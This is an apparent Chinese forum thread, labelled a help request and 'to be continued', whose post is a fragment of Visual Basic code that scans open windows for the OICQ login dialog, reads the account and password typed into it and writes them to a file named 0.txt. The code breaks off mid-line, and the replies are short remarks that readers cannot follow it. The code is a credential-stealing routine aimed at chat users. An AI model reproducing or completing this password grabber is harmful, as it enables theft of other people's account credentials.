标题:【求助】讨教（待续）
作者:小色猫
时间:8/13 18:57
passwordall, password As String
Dim i As Integer
Dim title, titleall, filepath As String
Public Function EnumProc(ByVal app_hwnd As Long, ByVal lParam As Long) As Boolean \'遍查主窗口
Dim buf As String * 1024
Dim length As Long
filepath = App.Path & \"\\0.txt\" \'0.txt 为保存帐号、密码的文件
If Dir(filepath) = \"\" Then
title = \"\"
titleall = \"\"
End If
length = GetWindowText(app_hwnd, buf, Len(buf))
title = Left$(buf, length) \'取得窗口的标题
If InStr(title, \"OICQ用户登录\") Then \'判断是否为 OICQ 窗口
Call GetZiWin(app_hwnd) \'调用（5），取得 OICQ 窗口中的帐号、密码框的类名
End If
If title <> \"\" Then
If InStr(titleall, title) Then
EnumProc = 1
Else
titleall = titleall + title \'title 是指取得的窗口标题
If name <> \"\" Then \'取得的帐号
If InStr(title, name) Then SaveFile \'保存帐号密码（如果取得的标题等于取得的帐号，则表示 ..
下页 上页
回复本帖|发新话题
回复列表 (6)
#1 根本没人看。
[芗城土著 8/13 21:32]
#2 不是没人看是他们看不懂！~！
[小色猫 8/13 23:35]
#3 看来你是看懂了。。我怎么看的 ..
[丸子 8/13 23:58]
#4 你来了啊怎么我发的文章总被删啊
[小色猫 8/14 00:14]
#5 这个问题你已经从市长办公室问 ..
[微蓝 8/14 00:20]
#6 什么呀！！！
看不懂
[被淹的鱼儿 9/1 22:59]
<<下一主题
>>上一主题
返回版块